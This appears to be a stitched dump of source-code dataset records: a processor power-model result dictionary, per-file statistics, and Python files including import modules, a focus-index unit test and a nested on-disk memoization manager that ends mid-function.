0.00038992, 'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.122984, 'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.0787855, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675, 'Execution Unit/Register Files/Peak Dynamic': 0.215155, 'Execution Unit/Register Files/Runtime Dynamic': 0.0894385, 'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387, 'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643, 'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912, 'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00537402, 'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.286789, 'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 0.63516, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.081478, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0305543, 'Execution Unit/Runtime Dynamic': 2.29008, 'Execution Unit/Subthreshold Leakage': 1.79543, 'Execution Unit/Subthreshold Leakage with power gating': 0.688821, 'Gate Leakage': 0.368936, 'Instruction Fetch Unit/Area': 5.85939, 'Instruction Fetch Unit/Branch Predictor/Area': 0.138516, 'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221, 'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.000869251, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.000869251, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.000793401, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.000326983, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045, 'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838, 'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732, 'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05, 'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602, 'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.00113176, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733, 'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.00366366, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282, 'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954, 'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758, 'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867, 'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.00703794, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357, 'Instruction Fetch Unit/Gate Leakage': 0.0589979, 'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323, 'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05, 'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827, 'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.0757385, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682, 'Instruction Fetch Unit/Instruction Cache/Area': 3.14635, 'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931, 'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 4.81762, 'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.172435, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386, 'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799, 'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493, 'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404, 'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.257242, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104, 'Instruction Fetch Unit/Peak Dynamic': 7.26995, 'Instruction Fetch Unit/Runtime Dynamic': 0.516117, 'Instruction Fetch Unit/Subthreshold Leakage': 0.932286, 'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843, 'L2/Area': 4.53318, 'L2/Gate Leakage': 0.015464, 'L2/Peak Dynamic': 0.00982744, 'L2/Runtime Dynamic': 0.0020589, 'L2/Subthreshold Leakage': 0.834142, 'L2/Subthreshold Leakage with power gating': 0.401066, 'Load Store Unit/Area': 8.80901, 'Load Store Unit/Data Cache/Area': 6.84535, 'Load Store Unit/Data Cache/Gate Leakage': 0.0279261, 'Load Store Unit/Data Cache/Peak Dynamic': 3.47097, 'Load Store Unit/Data Cache/Runtime Dynamic': 1.07535, 'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675, 'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085, 'Load Store Unit/Gate Leakage': 0.0350888, 'Load Store Unit/LoadQ/Area': 0.0836782, 'Load Store Unit/LoadQ/Gate Leakage': 0.00059896, 'Load Store Unit/LoadQ/Peak Dynamic': 0.0722703, 'Load Store Unit/LoadQ/Runtime Dynamic': 0.0722704, 'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961, 'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918, 'Load Store Unit/Peak Dynamic': 3.81224, 'Load Store Unit/Runtime Dynamic': 1.50403, 'Load Store Unit/StoreQ/Area': 0.322079, 'Load Store Unit/StoreQ/Gate Leakage': 0.00329971, 'Load Store Unit/StoreQ/Peak Dynamic': 0.178206, 'Load Store Unit/StoreQ/Runtime Dynamic': 0.356413, 'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621, 'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004, 'Load Store Unit/Subthreshold Leakage': 0.591321, 'Load Store Unit/Subthreshold Leakage with power gating': 0.283293, 'Memory Management Unit/Area': 0.4339, 'Memory Management Unit/Dtlb/Area': 0.0879726, 'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729, 'Memory Management Unit/Dtlb/Peak Dynamic': 0.063246, 'Memory Management Unit/Dtlb/Runtime Dynamic': 0.0633717, 'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699, 'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485, 'Memory Management Unit/Gate Leakage': 0.00808595, 'Memory Management Unit/Itlb/Area': 0.301552, 'Memory Management Unit/Itlb/Gate Leakage': 0.00393464, 'Memory Management Unit/Itlb/Peak Dynamic': 0.299542, 'Memory Management Unit/Itlb/Runtime Dynamic': 0.0283329, 'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758, 'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842, 'Memory Management Unit/Peak Dynamic': 0.564296, 'Memory Management Unit/Runtime Dynamic': 0.0917046, 'Memory Management Unit/Subthreshold Leakage': 0.0766103, 'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333, 'Peak Dynamic': 20.4136, 'Renaming Unit/Area': 0.303608, 'Renaming Unit/FP Front End RAT/Area': 0.131045, 'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00351123, 'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468, 'Renaming Unit/FP Front End RAT/Runtime Dynamic': 0.242459, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885, 'Renaming Unit/Free List/Area': 0.0340654, 'Renaming Unit/Free List/Gate Leakage': 2.5481e-05, 'Renaming Unit/Free List/Peak Dynamic': 0.0306032, 'Renaming Unit/Free List/Runtime Dynamic': 0.0144095, 'Renaming Unit/Free List/Subthreshold Leakage': 0.000370144, 'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064, 'Renaming Unit/Gate Leakage': 0.00708398, 'Renaming Unit/Int Front End RAT/Area': 0.0941223, 'Renaming Unit/Int Front End RAT/Gate Leakage': 0.000283242, 'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.731965, 'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.126226, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00435488, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228, 'Renaming Unit/Peak Dynamic': 3.58947, 'Renaming Unit/Runtime Dynamic': 0.383095, 'Renaming Unit/Subthreshold Leakage': 0.0552466, 'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461, 'Runtime Dynamic': 4.78709, 'Subthreshold Leakage': 6.16288, 'Subthreshold Leakage with power gating': 2.55328}], 'DRAM': {'Area': 0, 'Gate Leakage': 0, 'Peak Dynamic': 0.04646277593846335, 'Runtime Dynamic': 0.04646277593846335, 'Subthreshold Leakage': 4.252, 'Subthreshold Leakage with power gating': 4.252}, 'L3': [{'Area': 61.9075, 'Gate Leakage': 0.0484137, 'Peak Dynamic': 0.0363652, 'Runtime Dynamic': 0.0227641, 'Subthreshold Leakage': 6.80085, 'Subthreshold Leakage with power gating': 3.32364}], 'Processor': {'Area': 191.908, 'Gate Leakage': 1.53485, 'Peak Dynamic': 91.7681, 'Peak Power': 124.88, 'Runtime Dynamic': 26.4692, 'Subthreshold Leakage': 31.5774, 'Subthreshold Leakage with power gating': 13.9484, 'Total Cores/Area': 128.669, 'Total Cores/Gate Leakage': 1.4798, 'Total Cores/Peak Dynamic': 91.7317, 'Total Cores/Runtime Dynamic': 26.4465, 'Total Cores/Subthreshold Leakage': 24.7074, 'Total Cores/Subthreshold Leakage with power gating': 10.2429, 'Total L3s/Area': 61.9075, 'Total L3s/Gate Leakage': 0.0484137, 'Total L3s/Peak Dynamic': 0.0363652, 'Total L3s/Runtime Dynamic': 0.0227641, 'Total L3s/Subthreshold Leakage': 6.80085, 'Total L3s/Subthreshold Leakage with power gating': 3.32364, 'Total Leakage': 33.1122, 'Total NoCs/Area': 1.33155, 'Total NoCs/Gate Leakage': 0.00662954, 'Total NoCs/Peak Dynamic': 0.0, 'Total NoCs/Runtime Dynamic': 0.0, 'Total NoCs/Subthreshold Leakage': 0.0691322, 'Total NoCs/Subthreshold Leakage with power gating': 0.0259246}}
75.045952
124
0.682004
8,082
68,592
5.782232
0.067805
0.123598
0.112985
0.093469
0.93865
0.930626
0.917979
0.886502
0.861893
0.842763
0
0.13167
0.224385
68,592
914
125
75.045952
0.746734
0
0
0.642232
0
0
0.657574
0.04811
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
93ea24dc70755bae7ba5879914be1b5c65539ed7
29
py
Python
corehq/util/soft_assert/__init__.py
dimagilg/commcare-hq
ea1786238eae556bb7f1cbd8d2460171af1b619c
[ "BSD-3-Clause" ]
471
2015-01-10T02:55:01.000Z
2022-03-29T18:07:18.000Z
corehq/util/soft_assert/__init__.py
dimagilg/commcare-hq
ea1786238eae556bb7f1cbd8d2460171af1b619c
[ "BSD-3-Clause" ]
14,354
2015-01-01T07:38:23.000Z
2022-03-31T20:55:14.000Z
corehq/util/soft_assert/__init__.py
dimagilg/commcare-hq
ea1786238eae556bb7f1cbd8d2460171af1b619c
[ "BSD-3-Clause" ]
175
2015-01-06T07:16:47.000Z
2022-03-29T13:27:01.000Z
from .api import soft_assert
14.5
28
0.827586
5
29
4.6
1
0
0
0
0
0
0
0
0
0
0
0
0.137931
29
1
29
29
0.92
0
0
0
0
0
0
0
0
0
0
0
1
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
1
0
1
0
1
0
0
7
f59c4f21d268fd590344e6a7fb26e7def18317d7
279
py
Python
overtime/algorithms/__init__.py
overtime3/overtime
ed3ae6877894f4d2c9f8473a885698e1622be3bd
[ "MIT" ]
9
2020-10-15T13:53:36.000Z
2022-03-08T12:08:09.000Z
overtime/algorithms/__init__.py
overtime3/overtime
ed3ae6877894f4d2c9f8473a885698e1622be3bd
[ "MIT" ]
6
2021-02-07T15:43:12.000Z
2021-04-24T04:03:39.000Z
overtime/algorithms/__init__.py
overtime3/overtime
ed3ae6877894f4d2c9f8473a885698e1622be3bd
[ "MIT" ]
7
2020-10-15T13:55:12.000Z
2022-03-12T03:54:02.000Z
from overtime.algorithms.foremost import * from overtime.algorithms.reachability import * from overtime.algorithms.edgeDeletion import * from overtime.algorithms.additional_tools import * from overtime.algorithms.centrality import * from overtime.algorithms.paths import *
39.857143
51
0.827957
31
279
7.419355
0.354839
0.313043
0.573913
0.608696
0
0
0
0
0
0
0
0
0.107527
279
6
52
46.5
0.923695
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
19926c5b2a45be3e49c215d08aff0de717c38a65
105
py
Python
wecom_contacts_sync/wizard/__init__.py
rainbow-studio-solution/wecom
937ea9c15c5ef42ba749c67335ede85544292aad
[ "MulanPSL-1.0" ]
5
2021-12-17T06:44:41.000Z
2022-02-05T03:34:07.000Z
wecom_contacts_sync/wizard/__init__.py
rainbow-studio-solution/wecom
937ea9c15c5ef42ba749c67335ede85544292aad
[ "MulanPSL-1.0" ]
null
null
null
wecom_contacts_sync/wizard/__init__.py
rainbow-studio-solution/wecom
937ea9c15c5ef42ba749c67335ede85544292aad
[ "MulanPSL-1.0" ]
2
2022-02-06T13:27:56.000Z
2022-02-27T08:06:59.000Z
# -*- coding: utf-8 -*- from . import wecom_contacts_sync_wizard from . import wecom_users_sync_wizard
17.5
40
0.752381
15
105
4.866667
0.666667
0.273973
0.410959
0
0
0
0
0
0
0
0
0.011111
0.142857
105
5
41
21
0.8
0.2
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
1995337b25473c263376645589d23a6a41bbb14f
1,125
py
Python
python/pipeline/codex/ops/best_focus_test.py
eric-czech/codex
23e880d483bf4c57809ebbd214640f6246c8fd37
[ "Apache-2.0" ]
null
null
null
python/pipeline/codex/ops/best_focus_test.py
eric-czech/codex
23e880d483bf4c57809ebbd214640f6246c8fd37
[ "Apache-2.0" ]
null
null
null
python/pipeline/codex/ops/best_focus_test.py
eric-czech/codex
23e880d483bf4c57809ebbd214640f6246c8fd37
[ "Apache-2.0" ]
null
null
null
import unittest from codex.ops import best_focus class TestBestFocus(unittest.TestCase): def test_best_index_fn(self): # Test easy case self.assertEqual(best_focus.get_best_z_index([8, 7, 1, 5, 11]), 2) # Test ties with odd number of elements self.assertEqual(best_focus.get_best_z_index([1, 1, 1, 1, 1]), 2) self.assertEqual(best_focus.get_best_z_index([1, 1, 1, 1, 0]), 4) self.assertEqual(best_focus.get_best_z_index([1, 1, 1, 0, 0]), 3) self.assertEqual(best_focus.get_best_z_index([1, 1, 0, 0, 0]), 2) self.assertEqual(best_focus.get_best_z_index([1, 0, 0, 0, 0]), 2) self.assertEqual(best_focus.get_best_z_index([0, 0, 0, 0, 0]), 2) # Test ties with even number of elements self.assertEqual(best_focus.get_best_z_index([1, 1, 1, 1]), 2) self.assertEqual(best_focus.get_best_z_index([1, 1, 1, 0]), 3) self.assertEqual(best_focus.get_best_z_index([1, 1, 0, 0]), 2) self.assertEqual(best_focus.get_best_z_index([1, 0, 0, 0]), 2) self.assertEqual(best_focus.get_best_z_index([0, 0, 0, 0]), 2)
43.269231
74
0.654222
198
1,125
3.454545
0.181818
0.046784
0.333333
0.421053
0.782164
0.777778
0.777778
0.777778
0.723684
0.723684
0
0.075724
0.201778
1,125
25
75
45
0.685969
0.080889
0
0
0
0
0
0
0
0
0
0
0.75
1
0.0625
false
0
0.125
0
0.25
0
0
0
0
null
0
1
1
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
8
5fd561bb1884c396401ef38a0b2970316c2804d3
613
py
Python
zvt/recorders/joinquant/dividend_financing/__init__.py
markqiu/zvt
1bcfb71279f2652c3600f0f8e45d941f98ceaa10
[ "MIT" ]
6
2020-09-03T10:02:00.000Z
2021-02-04T02:51:47.000Z
zvt/recorders/joinquant/dividend_financing/__init__.py
wlwd13303/zvt
23105a5bfdc3a5080c6c22d11e9e53d216688dea
[ "MIT" ]
null
null
null
zvt/recorders/joinquant/dividend_financing/__init__.py
wlwd13303/zvt
23105a5bfdc3a5080c6c22d11e9e53d216688dea
[ "MIT" ]
2
2020-07-08T04:15:40.000Z
2021-06-08T08:51:31.000Z
# -*- coding: utf-8 -*- from zvt.recorders.joinquant.dividend_financing.fund_dividend_detail_recorder import * from zvt.recorders.joinquant.dividend_financing.dividend_financing_recorder import * from zvt.recorders.joinquant.dividend_financing.rights_issue_detail_recorder import * from zvt.recorders.joinquant.dividend_financing.spo_detail_recorder import * from zvt.recorders.joinquant.dividend_financing.base_jq_dividend_financing_recorder import * from zvt.recorders.joinquant.dividend_financing.jq_share_change_recorder import * from zvt.recorders.joinquant.dividend_financing.jq_stk_xr_xd_recorder import *
68.111111
92
0.874388
80
613
6.35
0.2875
0.301181
0.220472
0.344488
0.854331
0.854331
0.771654
0.771654
0.771654
0.287402
0
0.001724
0.053834
613
8
93
76.625
0.874138
0.034258
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
1
1
1
1
1
1
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
12
2722b6afab326c139ce77e5eaa624e3fd753c096
80
py
Python
tfnlp/utils/__init__.py
dzlab/tfnlp
e850e07f86bf656b622e807ca0882ed557e8e9c7
[ "Apache-2.0" ]
null
null
null
tfnlp/utils/__init__.py
dzlab/tfnlp
e850e07f86bf656b622e807ca0882ed557e8e9c7
[ "Apache-2.0" ]
null
null
null
tfnlp/utils/__init__.py
dzlab/tfnlp
e850e07f86bf656b622e807ca0882ed557e8e9c7
[ "Apache-2.0" ]
null
null
null
from .processing import FileProcessor from .processing import DataFrameProcessor
40
42
0.8875
8
80
8.875
0.625
0.394366
0.56338
0
0
0
0
0
0
0
0
0
0.0875
80
2
42
40
0.972603
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
276ac3f893ce3f7d85241a9fa4068fab22234373
14,943
py
Python
dev/tb_manager.py
negrinho/research_toolbox
c99aac302ba427269c07ccf25369eb4d552cac95
[ "MIT" ]
14
2018-06-19T13:58:17.000Z
2022-02-25T02:03:53.000Z
dev/tb_manager.py
negrinho/research_toolbox
c99aac302ba427269c07ccf25369eb4d552cac95
[ "MIT" ]
null
null
null
dev/tb_manager.py
negrinho/research_toolbox
c99aac302ba427269c07ccf25369eb4d552cac95
[ "MIT" ]
5
2019-01-17T13:19:29.000Z
2022-02-25T02:03:55.000Z
import json import uuid import research_toolbox.tb_filesystem as tb_fs import research_toolbox.tb_io as tb_io from six import itervalues # NOTE: talk about doing things lazily. # does not support multiprocess right now, but it is not a major concern due # to the way that the files are generated. # NOTE: this is perhaps a bit too complicated. # it would be better to have just the get memo, and do something that works. # only functions that have config_lst should be (some?) of the memo functions. # the remaining functions can be done with a single config. class NestedMemoManager: def __init__(self, folderpath, create_if_notexists=False): self.folderpath = folderpath self.key_to_filename = {} self.key_to_foldername = {} self.key_to_memo = {} tb_fs.create_folder(folderpath, abort_if_exists=False, create_parent_folders=create_if_notexists) # initialize the memo based on the state of the memo folder: for p in tb_fs.list_files(folderpath): name_with_ext = tb_fs.path_last_element(p) # for the files. if name_with_ext.startswith('file_config-') and name_with_ext.endswith('.json'): name = name_with_ext[len('file_config-'):-len('.json')] config = tb_io.read_jsonfile(p) key = self._key_from_config(config) self.key_to_filename[key] = name # for the sub-memos. elif name_with_ext.startswith('memo_config-') and name_with_ext.endswith('.json'): name = name_with_ext[len('memo_config-'):-len('.json')] config = tb_io.read_jsonfile(p) key = self._key_from_config(config) self.key_to_foldername[key] = name def _get_filepath(self, filetype, filename, fileext): return tb_fs.join_paths([self.folderpath, "%s-%s.%s" % (filetype, filename, fileext)]) def _get_folderpath(self, foldername): return tb_fs.join_paths([self.folderpath, "memo_value-%s" % foldername]) # auxiliary function used to retrieve sub-memos. def _get_memo(self, config_lst, create_if_notexists=False): memo = self for cfg in config_lst: key = memo._key_from_config(cfg) if key not in memo.key_to_foldername: if create_if_notexists: foldername = memo._get_unique_foldername() value_folderpath = memo._get_folderpath(foldername) cfg_filepath = memo._get_filepath("memo_config", foldername, "json") tb_fs.create_folder(value_folderpath) tb_io.write_jsonfile(cfg, cfg_filepath) next_memo = NestedMemoManager(value_folderpath) memo.key_to_foldername[key] = foldername memo.key_to_memo[key] = next_memo else: return None else: if key not in memo.key_to_memo: foldername = memo.key_to_foldername[key] value_folderpath = memo._get_folderpath(foldername) memo.key_to_memo[key] = NestedMemoManager(value_folderpath) next_memo = memo.key_to_memo[key] memo = next_memo return memo def _key_from_config(self, config): return json.dumps(config, sort_keys=True) def _get_unique_name(self, prefix): while True: filename = uuid.uuid4() filepath = tb_fs.join_paths([self.folderpath, "%s-%s.json" % (prefix, filename)]) if not tb_fs.file_exists(filepath): return filename def _get_unique_filename(self): return self._get_unique_name("file_config") def _get_unique_foldername(self): return self._get_unique_name("memo_config") def is_file_available(self, config_lst): assert len(config_lst) > 0 memo = self._get_memo(config_lst[:-1], create_if_notexists=False) if memo is None: return False else: key = self._key_from_config(config_lst[-1]) return key in memo.key_to_filename def is_memo_available(self, config_lst): assert len(config_lst) > 0 return self._get_memo(config_lst, create_if_notexists=False) is not None def get_memo(self, config_lst, create_parent_memos=False): assert len(config_lst) > 0 memo = self._get_memo(config_lst, create_if_notexists=create_parent_memos) assert memo is not None return memo def create_memo(self, config_lst): assert not self.is_memo_available(config_lst) memo = self._get_memo(config_lst, create_if_notexists=True) return memo def delete_memo(self, config_lst, abort_if_notexists=True): assert len(config_lst) > 0 parent_memo = self._get_memo(config_lst[:-1]) if parent_memo.is_memo_available(config_lst[-1:]): key = parent_memo._key_from_config(config_lst[-1]) foldername = parent_memo.key_to_foldername[key] cfg_filepath = parent_memo._get_filepath("memo_config", foldername, "json") memo_folderpath = parent_memo._get_folderpath(foldername) tb_fs.delete_file(cfg_filepath) tb_fs.delete_folder(memo_folderpath) parent_memo.key_to_foldername.pop(key) parent_memo.key_to_memo.pop(key) else: assert not abort_if_notexists def read_file(self, config_lst): assert len(config_lst) > 0 memo = self._get_memo(config_lst[:-1]) key = memo._key_from_config(config_lst[-1]) filename = memo.key_to_filename[key] value_filepath = memo._get_filepath('file_value', filename, 'pkl') return tb_io.read_picklefile(value_filepath) def write_file(self, config_lst, value, abort_if_exists=True): assert len(config_lst) > 0 memo = self._get_memo(config_lst[:-1]) assert memo is not None cfg = config_lst[-1] key = memo._key_from_config(cfg) assert not abort_if_exists or key not in memo.key_to_filename # if it exists, get it from the dictionary. if key in memo.key_to_filename: filename = memo.key_to_filename[key] else: filename = memo._get_unique_filename() config_filepath = memo._get_filepath('file_config', filename, 'json') tb_io.write_jsonfile(cfg, config_filepath) value_filepath = memo._get_filepath('file_value', filename, 'pkl') tb_io.write_picklefile(value, value_filepath) memo.key_to_filename[key] = filename def delete_file(self, config_lst, abort_if_notexists=True): assert len(config_lst) > 0 memo = self._get_memo(config_lst[:-1]) assert memo is not None cfg = config_lst[-1] key = memo._key_from_config(cfg) if key in memo.key_to_filename: filename = memo.key_to_filename.pop(key) cfg_filepath = memo._get_filepath("file_config", filename, "json") value_filepath = memo._get_filepath("file_value", filename, "pkl") tb_fs.delete_file(cfg_filepath) tb_fs.delete_file(value_filepath) else: assert not abort_if_notexists def get_file_configs(self): lst = [] for filename in itervalues(self.key_to_filename): filepath = self._get_filepath("file_config", filename, "json") cfg = tb_io.read_jsonfile(filepath) lst.append(cfg) return lst def get_memo_configs(self): lst = [] for foldername in itervalues(self.key_to_foldername): filepath = self._get_filepath("memo_config", foldername, "json") cfg = tb_io.read_jsonfile(filepath) lst.append(cfg) return lst # sligthly simplified to reduce the amount of repetition in the reading and # writing operations. class SimplifiedNestedMemoManager: def __init__(self, folderpath, create_if_notexists=False): self.folderpath = folderpath self.key_to_filename = {} self.key_to_foldername = {} self.key_to_memo = {} tb_fs.create_folder(folderpath, abort_if_exists=False, create_parent_folders=create_if_notexists) # initialize the memo based on the state of the memo folder: for p in tb_fs.list_files(folderpath): name_with_ext = tb_fs.path_last_element(p) # for the files. if name_with_ext.startswith('file_config-') and name_with_ext.endswith('.json'): name = name_with_ext[len('file_config-'):-len('.json')] config = tb_io.read_jsonfile(p) key = self._key_from_config(config) self.key_to_filename[key] = name # for the sub-memos. elif name_with_ext.startswith('memo_config-') and name_with_ext.endswith('.json'): name = name_with_ext[len('memo_config-'):-len('.json')] config = tb_io.read_jsonfile(p) key = self._key_from_config(config) self.key_to_foldername[key] = name def _get_filepath(self, filetype, filename, fileext): return tb_fs.join_paths([self.folderpath, "%s-%s.%s" % (filetype, filename, fileext)]) def _get_folderpath(self, foldername): return tb_fs.join_paths([self.folderpath, "memo_value-%s" % foldername]) def _get_file_paths(self, filename): cfg_filepath = tb_fs.join_paths([self.folderpath, "file_config-%s.json" % filename]) value_filepath = tb_fs.join_paths([self.folderpath, "file_value-%s.pkl" % filename]) return (cfg_filepath, value_filepath) def _get_memo_paths(self, foldername): cfg_filepath = tb_fs.join_paths([self.folderpath, "memo_config-%s.json" % foldername]) memo_folderpath = tb_fs.join_paths([self.folderpath, "memo_value-%s" % foldername]) return (cfg_filepath, memo_folderpath) # auxiliary function used to retrieve sub-memos. def _get_memo(self, config_lst, create_if_notexists=False): memo = self for cfg in config_lst: key = memo._key_from_config(cfg) if key not in memo.key_to_foldername: if create_if_notexists: # get new unique name foldername = memo._get_unique_foldername() cfg_filepath, memo_folderpath = memo._get_memo_paths(foldername) tb_fs.create_folder(memo_folderpath) tb_io.write_jsonfile(cfg, cfg_filepath) next_memo = SimplifiedNestedMemoManager(memo_folderpath) memo.key_to_foldername[key] = foldername memo.key_to_memo[key] = next_memo else: return None else: if key not in memo.key_to_memo: # use existing name foldername = memo.key_to_foldername[key] memo_folderpath = memo._get_memo_paths(foldername)[1] memo.key_to_memo[key] = SimplifiedNestedMemoManager(memo_folderpath) next_memo = memo.key_to_memo[key] memo = next_memo return memo def _key_from_config(self, config): return json.dumps(config, sort_keys=True) def _get_unique_name(self, prefix): while True: filename = uuid.uuid4() filepath = tb_fs.join_paths([self.folderpath, "%s-%s.json" % (prefix, filename)]) if not tb_fs.file_exists(filepath): return filename def _get_unique_filename(self): return self._get_unique_name("file_config") def _get_unique_foldername(self): return self._get_unique_name("memo_config") def is_file_available(self, config): key = self._key_from_config(config) return key in self.key_to_filename def is_memo_available(self, config_lst): assert len(config_lst) > 0 return self._get_memo(config_lst, 